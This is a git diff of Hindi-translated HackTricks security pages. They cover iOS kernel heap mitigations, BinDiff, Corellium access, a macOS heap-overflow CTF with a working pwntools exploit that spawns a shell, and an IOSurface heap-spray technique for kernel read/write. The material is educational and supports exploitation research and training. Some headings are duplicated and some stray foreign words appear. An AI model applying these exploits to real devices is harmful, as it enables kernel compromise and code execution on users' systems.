- **Before**: हर size class (16, 32, 64, … 1280, आदि) के लिए एक single `kalloc.<size>` zone मौजूद था। उसी size का कोई भी object वहाँ रखा जाता था → attacker objects privileged kernel objects के बगल में बैठ सकते थे।
|
||||
- **Now**:
|
||||
- Kernel objects अब **typed zones** (`kalloc_type`) से allocate होते हैं।
|
||||
- हर object type (उदाहरण के लिए, `ipc_port_t`, `task_t`, `OSString`, `OSData`) की अपनी dedicated zone होती है, भले वे same size ही क्यों न हों।
|
||||
- object type ↔ zone के बीच mapping compile time पर **kalloc_type system** से generate होती है।
|
||||
|
||||
एक attacker अब यह सुनिश्चित नहीं कर सकता कि controlled data (`OSData`) संवेदनशील kernel objects (`task_t`) के साथ adjacent हो जाएँ, भले उनका size समान हो।
|
||||
|
||||
### 2. Slabs and Per-CPU Caches
|
||||
- heap को **slabs** में विभाजित किया गया है (memory के pages जिन्हें उस zone के fixed-size chunks में काटा गया है)।
|
||||
- हर zone में contention कम करने के लिए एक **per-CPU cache** होता है।
|
||||
- Allocation path:
|
||||
1. पहले per-CPU cache को चेक करें।
|
||||
2. अगर खाली हो तो global freelist से लें।
|
||||
3. अगर freelist खाली हो तो नया slab (एक या अधिक pages) allocate करें।
|
||||
- **Benefit**: यह decentralization heap sprays को कम deterministic बनाती है, क्योंकि allocations अलग-अलग CPUs’ caches से पूरी हो सकती हैं।
|
||||
|
||||
### 3. Randomization inside zones
|
||||
- एक zone के भीतर, freed elements को simple FIFO/LIFO order में वापस नहीं दिया जाता।
|
||||
- Modern XNU **encoded freelist pointers** इस्तेमाल करता है (safe-linking जैसा Linux में, ~iOS 14 से introduce हुआ)।
|
||||
- हर freelist pointer को एक per-zone secret cookie के साथ **XOR-encode** किया जाता है।
|
||||
- इससे attacker write primitive मिलने पर भी fake freelist pointer forge नहीं कर सकता।
|
||||
- कुछ allocations को slab के भीतर उनके placement में **randomize** किया जाता है, इसलिए spraying adjacency की गारंटी नहीं देती।
|
||||
|
||||
### 4. Guarded Allocations
|
||||
- कुछ critical kernel objects (जैसे credentials, task structures) को **guarded zones** में allocate किया जाता है।
|
||||
- ये zones slabs के बीच **guard pages** (unmapped memory) insert करते हैं या objects के चारों ओर **redzones** का उपयोग करते हैं।
|
||||
- guard page में किसी भी overflow से fault trigger होता है → silent corruption के बजाय immediate panic।
|
||||
|
||||
### 5. Page Protection Layer (PPL) and SPTM
|
||||
- भले ही आप एक freed object को control कर लें, आप kernel memory का सब कुछ modify नहीं कर सकते:
|
||||
- **PPL (Page Protection Layer)** यह सुनिश्चित करता है कि कुछ regions (जैसे code signing data, entitlements) kernel को भी **read-only** रहते हैं।
|
||||
- **A15/M2+ devices** पर यह 역할 **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)** से बदला/बढ़ाया गया है।
|
||||
- ये hardware-enforced layers attackers को एक single heap corruption से critical security structures की arbitrary patching करने से रोकते हैं।
|
||||
|
||||
### 6. Large Allocations
|
||||
- सभी allocations `kalloc_type` के माध्यम से नहीं जातीं।
|
||||
- बहुत बड़े requests (~16KB से ऊपर) typed zones को bypass कर के सीधे **kernel VM (kmem)** से page allocations के माध्यम से serve किए जाते हैं।
|
||||
- ये कम predictable होते हैं, पर कम exploitable भी होते हैं, क्योंकि वे अन्य objects के साथ slabs share नहीं करते।
|
||||
|
||||
### 7. Allocation Patterns Attackers Target
|
||||
इन protections के बावजूद, attackers अभी भी इन चीज़ों को खोजते हैं:
|
||||
- **Reference count objects**: अगर आप retain/release counters में छेड़छाड़ कर सकें, तो use-after-free पैदा हो सकता है।
|
||||
- **Objects with function pointers (vtables)**: किसी एक को corrupt करना अभी भी control flow देता है।
|
||||
- **Shared memory objects (IOSurface, Mach ports)**: ये अभी भी attack targets हैं क्योंकि ये user ↔ kernel को bridge करते हैं।
|
||||
|
||||
पर — पहले की तरह — आप बस `OSData` spray करके यह उम्मीद नहीं कर सकते कि वह `task_t` के बगल में आएगा। अब आपको सफलता के लिए **type-specific bugs** या **info leaks** की ज़रूरत होती है।
|
||||
|
||||
### Example: Allocation Flow in Modern Heap
|
||||
|
||||
Suppose userspace calls into IOKit to allocate an `OSData` object:
|
||||
|
||||
1. **Type lookup** → `OSData` maps to `kalloc_type_osdata` zone (size 64 bytes).
|
||||
2. Check per-CPU cache for free elements.
|
||||
- If found → return one.
|
||||
- If empty → go to global freelist.
|
||||
- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes).
|
||||
3. Return chunk to caller.
|
||||
|
||||
**Freelist pointer protection**:
|
||||
- Each freed chunk stores the address of the next free chunk, but encoded with a secret key.
|
||||
- Overwriting that field with attacker data won’t work unless you know the key.
|
||||
|
||||
|
||||
## Comparison Table
|
||||
|
||||
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|
||||
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
|
||||
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
|
||||
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
|
||||
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
|
||||
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
|
||||
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
|
||||
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
|
||||
|
||||
## (Old) Physical Use-After-Free via IOSurface
|
||||
|
||||
{{#ref}}
|
||||
ios-physical-uaf-iosurface.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Ghidra Install BinDiff
|
||||
|
||||
Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
|
||||
|
||||
Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and isntall it even if there is a version mismatch.
|
||||
|
||||
### Using BinDiff with Kernel versions
|
||||
|
||||
1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
|
||||
2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
|
||||
4. Open each kernelcache so they are automatically analyzed by Ghidra.
|
||||
5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
|
||||
6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
|
||||
|
||||
---
|
||||
|
||||
## Finding the right XNU version
|
||||
|
||||
If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
|
||||
|
||||
For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
78
src/binary-exploitation/ios-exploiting/ios-corellium.md
Normal file
78
src/binary-exploitation/ios-exploiting/ios-corellium.md
Normal file
@ -0,0 +1,78 @@
|
||||
# iOS: Corellium से कनेक्ट कैसे करें
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **पूर्व आवश्यकताएँ**
|
||||
- एक Corellium iOS VM (jailbroken या नहीं)। इस गाइड में हम मानते हैं कि आपके पास Corellium तक पहुंच है।
|
||||
- Local tools: **ssh/scp**.
|
||||
- (Optional) **SSH keys** added to your Corellium project for passwordless logins.
|
||||
|
||||
|
||||
## **localhost से iPhone VM से कनेक्ट करें**
|
||||
|
||||
### A) **Quick Connect (no VPN)**
|
||||
0) अपना ssh key **`/admin/projects`** में जोड़ें (अनुशंसित).
|
||||
1) Device page → **Connect**
|
||||
2) **Copy the Quick Connect SSH command** जो Corellium दिखाता है, उसे कॉपी करें और अपने terminal में पेस्ट करें.
|
||||
3) पासवर्ड दर्ज करें या अपनी key का उपयोग करें (अनुशंसित).
|
||||
|
||||
### B) **VPN → direct SSH**
|
||||
0) अपना ssh key **`/admin/projects`** में जोड़ें (अनुशंसित).
|
||||
1) Device page → **CONNECT** → **VPN** → `.ovpn` डाउनलोड करें और किसी भी VPN client से कनेक्ट करें जो TAP mode को सपोर्ट करता हो। (यदि आपको समस्या है तो देखें [https://support.corellium.com/features/connect/vpn])
|
||||
2) VM के **10.11.x.x** address पर SSH करें:
|
||||
```bash
|
||||
ssh root@10.11.1.1
|
||||
```
|
||||
## **एक native binary अपलोड करें और इसे execute करें**
|
||||
|
||||
### 2.1 **अपलोड**
|
||||
- यदि Quick Connect ने आपको host/port दिया है:
|
||||
```bash
|
||||
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
|
||||
```
|
||||
- यदि VPN (10.11.x.x) का उपयोग कर रहे हैं:
|
||||
```bash
|
||||
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
|
||||
```
|
||||
## **iOS ऐप (.ipa) अपलोड और इंस्टॉल करें**
|
||||
|
||||
### Path A — **Web UI (सबसे तेज़)**
|
||||
1) Device पेज → **Apps** टैब → **Install App** → अपनी `.ipa` चुनें.
|
||||
2) उसी टैब से आप **launch/kill/uninstall** कर सकते हैं.
|
||||
|
||||
### Path B — **Corellium Agent के माध्यम से Scripted**
|
||||
1) API Agent का उपयोग करके **upload** फिर **install** करें:
|
||||
```js
|
||||
// Node.js (pseudo) using Corellium Agent
|
||||
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
|
||||
await agent.install("/var/tmp/app.ipa", (progress, status) => {
|
||||
console.log(progress, status);
|
||||
});
|
||||
```
|
||||
### Path C — **Non-jailbroken (proper signing / Sideloadly)**
|
||||
- यदि आपके पास provisioning profile नहीं है, तो **Sideloadly** का उपयोग करके अपने Apple ID के साथ re-sign करें, या Xcode में साइन इन करें।
|
||||
- आप VM को **USBFlux** का उपयोग करके Xcode के लिए expose भी कर सकते हैं (देखें §5).
|
||||
|
||||
|
||||
- SSH के बिना त्वरित logs/commands के लिए, UI में डिवाइस **Console** का उपयोग करें।
|
||||
|
||||
## **अतिरिक्त**
|
||||
|
||||
- **Port-forwarding** (अन्य टूल्स के लिए VM को स्थानीय जैसा महसूस कराने के लिए):
|
||||
```bash
|
||||
# Forward local 2222 -> device 22
|
||||
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
|
||||
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
|
||||
```
|
||||
- **LLDB remote debugging**: डिवाइस पेज के निचले भाग पर दिखाए गए **LLDB/GDB stub** पते का उपयोग करें (CONNECT → LLDB).
|
||||
|
||||
- **USBFlux (macOS/Linux)**: VM को **Xcode/Sideloadly** के लिए किसी केबल से जुड़े डिवाइस की तरह प्रस्तुत करें.
|
||||
|
||||
|
||||
## **सामान्य समस्याएँ**
|
||||
- **Proper signing** की आवश्यकता होती है **non-jailbroken** devices पर; unsigned IPAs लॉन्च नहीं होंगे।
|
||||
- **Quick Connect vs VPN**: Quick Connect सबसे सरल है; जब आपको डिवाइस को अपने लोकल नेटवर्क पर चाहिए (e.g., local proxies/tools) तो **VPN** का उपयोग करें।
|
||||
- **No App Store** Corellium devices पर है; अपने (re)signed IPAs साथ लाएँ।
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -0,0 +1,205 @@
|
||||
# iOS Corellium से कनेक्ट कैसे करें
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vuln Code
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
__attribute__((noinline))
|
||||
static void safe_cb(void) {
|
||||
puts("[*] safe_cb() called — nothing interesting here.");
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
static void win(void) {
|
||||
puts("[+] win() reached — spawning shell...");
|
||||
fflush(stdout);
|
||||
system("/bin/sh");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
typedef void (*cb_t)(void);
|
||||
|
||||
typedef struct {
|
||||
cb_t cb; // <--- Your target: overwrite this with win()
|
||||
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
|
||||
} hook_t;
|
||||
|
||||
static void fatal(const char *msg) {
|
||||
perror(msg);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Make I/O deterministic
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
// Print address leak so exploit doesn't guess ASLR
|
||||
printf("[*] LEAK win() @ %p\n", (void*)&win);
|
||||
|
||||
// 1) Allocate the overflow buffer
|
||||
size_t buf_sz = 128;
|
||||
char *buf = (char*)malloc(buf_sz);
|
||||
if (!buf) fatal("malloc buf");
|
||||
memset(buf, 'A', buf_sz);
|
||||
|
||||
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
|
||||
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
|
||||
if (!h) fatal("malloc hook");
|
||||
h->cb = safe_cb;
|
||||
memcpy(h->tag, "HOOK-OBJ", 8);
|
||||
|
||||
// A tiny bit of noise to look realistic (and to consume small leftover holes)
|
||||
void *spacers[16];
|
||||
for (int i = 0; i < 16; i++) {
|
||||
spacers[i] = malloc(64);
|
||||
if (spacers[i]) memset(spacers[i], 0xCC, 64);
|
||||
}
|
||||
|
||||
puts("[*] You control a write into the 128B buffer (no bounds check).");
|
||||
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
|
||||
|
||||
// 3) Read attacker-chosen length and then read that many bytes → overflow
|
||||
char line[64];
|
||||
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
|
||||
unsigned long n = strtoul(line, NULL, 10);
|
||||
|
||||
// BUG: no clamp to 128
|
||||
ssize_t got = read(STDIN_FILENO, buf, n);
|
||||
if (got < 0) fatal("read");
|
||||
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
|
||||
|
||||
// 4) Trigger: call the hook's callback
|
||||
puts("[*] Calling h->cb() ...");
|
||||
h->cb();
|
||||
|
||||
puts("[*] Done.");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
इसे निम्नलिखित कमांड से कंपाइल करें:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
|
||||
```
|
||||
## Exploit
|
||||
|
||||
> [!WARNING]
|
||||
> यह exploit env variable `MallocNanoZone=0` सेट कर रहा है ताकि NanoZone निष्क्रिय हो। यह आवश्यक है ताकि छोटे आकार पर `malloc` कॉल करने पर adjacent allocations मिलें। इसके बिना अलग-अलग mallocs अलग-अलग zones में आवंटित होंगे और वे सन्निकट नहीं होंगे, इसलिए overflow उम्मीद के मुताबिक काम नहीं करेगा।
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Heap overflow exploit for macOS ARM64 CTF challenge
|
||||
#
|
||||
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
|
||||
# a function pointer in an adjacent heap chunk.
|
||||
#
|
||||
# Key insights:
|
||||
# 1. macOS uses different heap zones for different allocation sizes
|
||||
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
|
||||
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
|
||||
#
|
||||
from pwn import *
|
||||
import re
|
||||
import sys
|
||||
import struct
|
||||
import platform
|
||||
|
||||
# Detect architecture and set context accordingly
|
||||
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
|
||||
context.clear(arch='aarch64')
|
||||
else:
|
||||
context.clear(arch='amd64')
|
||||
|
||||
BIN = './heap_groom'
|
||||
|
||||
def parse_leak(line):
|
||||
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
|
||||
if not m:
|
||||
log.failure("Couldn't parse leak")
|
||||
sys.exit(1)
|
||||
return int(m.group(1), 16)
|
||||
|
||||
def build_payload(win_addr, extra_pad=0):
|
||||
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
|
||||
padding = b'A' * 128
|
||||
if extra_pad:
|
||||
padding += b'B' * extra_pad
|
||||
# Add the win address to overwrite the function pointer
|
||||
payload = padding + p64(win_addr)
|
||||
return payload
|
||||
|
||||
def main():
|
||||
# On macOS, we need to disable the Nano zone for adjacent allocations
|
||||
import os
|
||||
env = os.environ.copy()
|
||||
env['MallocNanoZone'] = '0'
|
||||
|
||||
# The correct padding with MallocNanoZone=0 is 432 bytes
|
||||
# This makes the total distance 560 bytes (128 buffer + 432 padding)
|
||||
# Try the known working value first, then alternatives in case of heap variation
|
||||
candidates = [
|
||||
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
|
||||
424, # Try slightly less in case of alignment differences
|
||||
440, # Try slightly more
|
||||
416, # 16 bytes less
|
||||
448, # 16 bytes more
|
||||
0, # Direct adjacency (unlikely but worth trying)
|
||||
]
|
||||
|
||||
log.info("Starting heap overflow exploit for macOS...")
|
||||
|
||||
for extra in candidates:
|
||||
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
|
||||
p = process(BIN, env=env)
|
||||
|
||||
# Read leak line
|
||||
leak_line = p.recvline()
|
||||
win_addr = parse_leak(leak_line)
|
||||
log.success(f"win() @ {hex(win_addr)}")
|
||||
|
||||
# Skip prompt lines
|
||||
p.recvuntil(b"Enter payload length")
|
||||
p.recvline()
|
||||
|
||||
# Build and send payload
|
||||
payload = build_payload(win_addr, extra_pad=extra)
|
||||
total_len = len(payload)
|
||||
|
||||
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
|
||||
|
||||
# Send length and payload
|
||||
p.sendline(str(total_len).encode())
|
||||
p.send(payload)
|
||||
|
||||
# Check if we overwrote the function pointer successfully
|
||||
try:
|
||||
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
|
||||
p.recvline(timeout=0.5) # Skip the "..." part
|
||||
|
||||
# Check if we hit win()
|
||||
response = p.recvline(timeout=0.5)
|
||||
if b"win() reached" in response:
|
||||
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
|
||||
log.success("Shell spawned, entering interactive mode...")
|
||||
p.interactive()
|
||||
return
|
||||
elif b"safe_cb() called" in response:
|
||||
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
|
||||
else:
|
||||
log.info(f"Failed with extra_pad={extra}, unexpected response")
|
||||
except:
|
||||
log.info(f"Failed with extra_pad={extra}, likely crashed")
|
||||
|
||||
p.close()
|
||||
|
||||
log.failure("All padding attempts failed. The heap layout might be different.")
|
||||
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -0,0 +1,215 @@
|
||||
# iOS Physical Use-After-Free via IOSurface
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
यह सार [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) पोस्ट से लिया गया है; इस तकनीक का उपयोग करके exploit के बारे में अतिरिक्त जानकारी [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) में मिलती है।
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
iOS पर user processes के लिए **virtual memory address space** **0x0 से 0x8000000000** तक फैला होता है। हालांकि, ये एड्रेसेस सीधे physical memory से मैप नहीं होते। इसके बजाय, **कर्नेल** virtual एड्रेस को वास्तविक **physical addresses** में translate करने के लिए **page tables** का उपयोग करता है।
|
||||
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Page tables तीन स्तरों में व्यवस्थित होते हैं:
|
||||
|
||||
1. **L1 Page Table (Level 1)**:
|
||||
* यहाँ हर entry वर्चुअल मेमोरी के बड़े रेंज का प्रतिनिधित्व करती है।
|
||||
* यह **0x1000000000 bytes** (या **256 GB**) वर्चुअल मेमोरी को कवर करती है।
|
||||
2. **L2 Page Table (Level 2)**:
|
||||
* यहाँ की एक entry वर्चुअल मेमोरी के छोटे क्षेत्र का प्रतिनिधित्व करती है, विशेषकर **0x2000000 bytes** (32 MB)।
|
||||
* यदि कोई L1 entry पूरे क्षेत्र को खुद नहीं मैप कर सकती तो वह किसी L2 table की ओर pointer कर सकती है।
|
||||
3. **L3 Page Table (Level 3)**:
|
||||
* यह सबसेละเอียด स्तर है, जहाँ हर entry एक single **4 KB** मेमोरी पेज को मैप करती है।
|
||||
* आवश्यकता होने पर L2 entry किसी L3 table की ओर pointer कर सकती है।
|
||||
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* page table की कुछ entries सीधे किसी वर्चुअल एड्रेस रेंज को contiguous physical address रेंज से मैप करती हैं (एक तरह का शॉर्टकट)।
|
||||
* **Pointer to Child Page Table**:
|
||||
* यदि अधिक सूक्ष्म नियंत्रण की ज़रूरत हो, तो एक स्तर की entry (जैसे L1) अगले स्तर में किसी **child page table** की ओर pointer कर सकती है (जैसे L2)।
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
मान लीजिए आप virtual address **0x1000000000** तक पहुँचने की कोशिश करते हैं:
|
||||
|
||||
1. **L1 Table**:
|
||||
* कर्नेल उस virtual address से संबंधित L1 page table entry को चेक करता है। यदि उसमें **pointer to an L2 page table** है, तो वह उस L2 table पर जाता है।
|
||||
2. **L2 Table**:
|
||||
* कर्नेल अधिक विस्तृत मैपिंग के लिए L2 page table को चेक करता है। यदि इस entry में **pointer to an L3 page table** है, तो वह वहां जाता है।
|
||||
3. **L3 Table**:
|
||||
* कर्नेल अंतिम L3 entry को देखता है, जो वास्तविक मेमोरी पेज के **physical address** की ओर इशारा करती है।
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
यदि आप L2 table के पहले index में physical address **0x800004000** लिखते हैं, तो:
|
||||
|
||||
* Virtual addresses **0x1000000000** से **0x1002000000** तक physical addresses **0x800004000** से **0x802004000** तक मैप होंगे।
|
||||
* यह L2 स्तर पर एक **block mapping** है।
|
||||
|
||||
वैकल्पिक रूप से, यदि L2 entry किसी L3 table की ओर pointer करती है:
|
||||
|
||||
* तो वर्चुअल रेंज **0x1000000000 -> 0x1002000000** के हर 4 KB पेज को L3 table की व्यक्तिगत entries मैप करेंगी।
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
एक **physical use-after-free (UAF)** तब होती है जब:
|
||||
|
||||
1. कोई process कुछ मेमोरी **readable और writable** के रूप में **allocate** करता है।
|
||||
2. उस मेमोरी को process द्वारा एक्सेस करने योग्य एक specific physical address से मैप करने के लिए **page tables** अपडेट होते हैं।
|
||||
3. Process उस मेमोरी को **deallocate** (free) कर देता है।
|
||||
4. लेकिन किसी **बग** के कारण, कर्नेल **page tables से mapping हटाना भूल जाता है**, जबकि संबंधित physical memory को free के रूप में मार्क कर दिया गया होता है।
|
||||
5. कर्नेल फिर इस "freed" physical memory को अन्य प्रयोजनों के लिए **reallocate** कर सकता है, जैसे कि **kernel data**।
|
||||
6. चूंकि mapping नहीं हटाई गई थी, process अभी भी इस physical memory को **read और write** कर सकता है।
|
||||
|
||||
इसका अर्थ है कि process **kernel memory के पेजों तक पहुँच** बना सकता है, जिनमें संवेदनशील डेटा या संरचनाएँ हो सकती हैं, जिससे attacker को **kernel memory में छेड़छाड़** करने का मौका मिल सकता है।
|
||||
|
||||
### IOSurface Heap Spray
|
||||
|
||||
क्योंकि attacker यह नियंत्रित नहीं कर सकता कि किस specific kernel पेज को freed memory के लिए allocate किया जाएगा, वे एक तकनीक का उपयोग करते हैं जिसे कहा जाता है **heap spray**:
|
||||
|
||||
1. attacker kernel memory में कई **IOSurface objects** बनाता है।
|
||||
2. प्रत्येक IOSurface object अपनी किसी field में एक **magic value** रखता है, जिससे उसे आसानी से पहचानना संभव होता है।
|
||||
3. वे freed पेजों को **scan** करते हैं यह देखने के लिए कि क्या कोई IOSurface object किसी freed पेज पर आ गया है।
|
||||
4. जब उन्हें किसी freed पेज पर IOSurface object मिलता है, तो वे इसे kernel memory को **read और write** करने के लिए उपयोग कर सकते हैं।
|
||||
|
||||
इसके बारे में अधिक जानकारी हेतु देखें: [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि iOS 16+ (A12+) डिवाइस हार्डवेयर mitigations (जैसे PPL या SPTM) लाते हैं जो physical UAF तकनीकों को काफी कम प्रभावी बनाते हैं।
|
||||
> PPL उन पेजों पर सख्त MMU protections लागू करता है जो code signing, entitlements, और संवेदनशील kernel डेटा से संबंधित हैं, तो भले ही कोई पेज reuse हो जाए, userland या compromised kernel code से PPL-protected पेजों पर writes रोके जाते हैं।
|
||||
> Secure Page Table Monitor (SPTM) PPL को बढ़ाता है और page table updates को भी मजबूत करता है। यह सुनिश्चित करता है कि privileges वाले kernel code द्वारा freed पेजों को चुपके से remap या mappings में छेड़छाड़ नहीं की जा सके बिना secure checks के।
|
||||
> KTRR (Kernel Text Read-Only Region) बूट के बाद kernel के code सेक्शन को read-only लॉक कर देता है। यह runtime के दौरान kernel code में किसी भी परिवर्तन को रोकता है, जो physical UAF exploits का एक प्रमुख attack vector होता है।
|
||||
> इसके अलावा, `IOSurface` allocations अब कम predictable हैं और user-accessible regions में map करना कठिन है, जिससे “magic value scanning” ट्रिक कम भरोसेमंद हो जाती है। और `IOSurface` अब entitlements और sandbox restrictions से guarded है।
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: attacker कई IOSurface objects बनाते हैं जिनमें एक विशेष पहचानकर्ता ("magic value") होता है।
|
||||
2. **Scan Freed Pages**: वे यह चेक करते हैं कि क्या इनमें से कोई object किसी freed पेज पर allocate हुआ है।
|
||||
3. **Read/Write Kernel Memory**: IOSurface object की fields में बदलाव करके वे kernel memory में **arbitrary reads और writes** करने की क्षमता हासिल कर लेते हैं। इससे वे कर पाते हैं:
|
||||
* एक field का उपयोग करके kernel memory में किसी भी 32-bit मान को **read** करना।
|
||||
* दूसरे field का उपयोग करके 64-bit मान **write** करना, जिससे स्थिर **kernel read/write primitive** मिलती है।
|
||||
|
||||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
एक मुक्त भौतिक पृष्ठ में **`IOSurface`** ऑब्जेक्ट्स खोजें:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### IOSurface के साथ Kernel Read/Write प्राप्त करना
|
||||
|
||||
Kernel memory में एक IOSurface object पर नियंत्रण मिलने के बाद (जो userspace से पहुंच योग्य freed physical page पर mapped होता है), हम इसे arbitrary kernel read और write operations के लिए उपयोग कर सकते हैं।
|
||||
|
||||
**IOSurface में मुख्य फील्ड**
|
||||
|
||||
IOSurface object में दो महत्वपूर्ण फील्ड हैं:
|
||||
|
||||
1. **Use Count Pointer**: एक **32-bit read** की अनुमति देता है।
|
||||
2. **Indexed Timestamp Pointer**: एक **64-bit write** की अनुमति देता है।
|
||||
|
||||
